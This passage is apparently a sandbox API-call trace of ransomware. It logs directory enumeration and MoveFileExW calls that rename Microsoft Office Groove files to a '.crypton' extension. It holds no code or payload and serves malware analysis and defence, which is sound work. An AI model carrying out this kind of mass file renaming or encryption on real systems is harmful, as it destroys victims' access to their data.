MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\form_edit.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\form_edit.js.crypton"), dwFlags=0x2) returned 1 [0105.090] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\infopathwelcomeimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\infopathwelcomeimage.jpg.crypton"), dwFlags=0x2) returned 1 [0105.094] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\launch.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\launch.gif.crypton"), dwFlags=0x2) returned 1 [0105.208] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\macroprogress.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\macroprogress.gif.crypton"), dwFlags=0x2) returned 1 [0105.217] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\publicfunctions.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\publicfunctions.js.crypton"), dwFlags=0x2) returned 1 [0105.221] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignleft.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignleft.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignleft.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignleft.gif.crypton"), dwFlags=0x2) returned 1 [0105.225] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignright.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignright.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignright.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignright.gif.crypton"), dwFlags=0x2) returned 1 [0105.228] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_bullets.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_bullets.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_bullets.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_bullets.gif.crypton"), dwFlags=0x2) returned 1 [0105.232] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_center.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_center.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_center.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_center.gif.crypton"), dwFlags=0x2) returned 1 [0105.235] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_choosecolor.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_choosecolor.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_choosecolor.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_choosecolor.gif.crypton"), dwFlags=0x2) returned 1 [0105.238] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_decreaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_decreaseindent.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_decreaseindent.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_decreaseindent.gif.crypton"), dwFlags=0x2) returned 1 [0105.241] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_hyperlink.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_hyperlink.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_hyperlink.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_hyperlink.gif.crypton"), dwFlags=0x2) returned 1 [0105.251] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_increaseindent.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_increaseindent.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_increaseindent.gif.crypton"), dwFlags=0x2) returned 1 [0105.258] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_justify.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_justify.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_justify.gif.crypton"), dwFlags=0x2) returned 1 [0105.262] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_pressed.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_pressed.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_pressed.gif.crypton"), dwFlags=0x2) returned 1 [0105.265] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SAVE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\save.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SAVE.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\save.gif.crypton"), dwFlags=0x2) returned 1 [0105.313] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\submit.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SUBMIT.JS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\submit.js.crypton"), dwFlags=0x2) returned 1 [0105.347] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\utilityfunctions.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\utilityfunctions.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\utilityfunctions.js.crypton"), dwFlags=0x2) returned 1 [0105.369] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\validation.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\validation.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\validation.js.crypton"), dwFlags=0x2) returned 1 [0105.376] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc2b93a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbc2b93a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3e000a34, cFileName=".", cAlternateFileName="")) returned 0x549890 [0105.382] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseicon.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseicon.jpg.crypton"), dwFlags=0x2) returned 1 [0105.390] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseiconmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseiconmask.bmp.crypton"), dwFlags=0x2) returned 1 [0105.400] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleicons.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleicons.jpg.crypton"), dwFlags=0x2) returned 1 [0105.406] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleiconsmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleiconsmask.bmp.crypton"), dwFlags=0x2) returned 1 [0105.414] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingicon.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingicon.jpg.crypton"), dwFlags=0x2) returned 1 [0105.418] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingiconmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingiconmask.bmp.crypton"), dwFlags=0x2) returned 1 [0105.425] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusicons.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusicons.jpg.crypton"), dwFlags=0x2) returned 1 [0105.429] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusiconsmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusiconsmask.bmp.crypton"), dwFlags=0x2) returned 1 [0105.437] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskicon.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskicon.jpg.crypton"), dwFlags=0x2) returned 1 [0105.442] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskiconmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskiconmask.bmp.crypton"), dwFlags=0x2) returned 1 [0105.444] GetFileType (hFile=0x180) returned 0x1 [0105.450] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc351920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbc351920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000833, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0105.451] GetFileType (hFile=0x1b4) returned 0x1 [0105.456] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc377a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbc377a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0105.458] GetFileType (hFile=0x1b8) returned 0x1 [0105.471] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc39dbe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbc39dbe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x35000431, cFileName=".", cAlternateFileName="")) returned 0x549950 [0105.476] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc39dbe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbc39dbe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x35000431, cFileName=".", cAlternateFileName="")) returned 0x549950 [0105.481] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.js.crypton"), dwFlags=0x2) returned 1 [0105.486] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\MINUS.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\minus.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\MINUS.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\minus.gif.crypton"), dwFlags=0x2) returned 1 [0105.490] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\PLUS.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\plus.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\PLUS.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\plus.gif.crypton"), dwFlags=0x2) returned 1 [0105.494] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\SPACER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\spacer.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\SPACER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\spacer.gif.crypton"), dwFlags=0x2) returned 1 [0105.508] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimages.jpg.crypton"), dwFlags=0x2) returned 1 [0105.517] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0105.533] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimage.jpg.crypton"), dwFlags=0x2) returned 1 [0105.589] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimagemask.bmp.crypton"), dwFlags=0x2) returned 1 [0105.683] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabmask.bmp.crypton"), dwFlags=0x2) returned 1 [0105.692] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\taboff.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\taboff.jpg.crypton"), dwFlags=0x2) returned 1 [0105.697] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabon.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabon.jpg.crypton"), dwFlags=0x2) returned 1 [0105.702] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whitebox.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whitebox.jpg.crypton"), dwFlags=0x2) returned 1 [0105.719] MoveFileExW 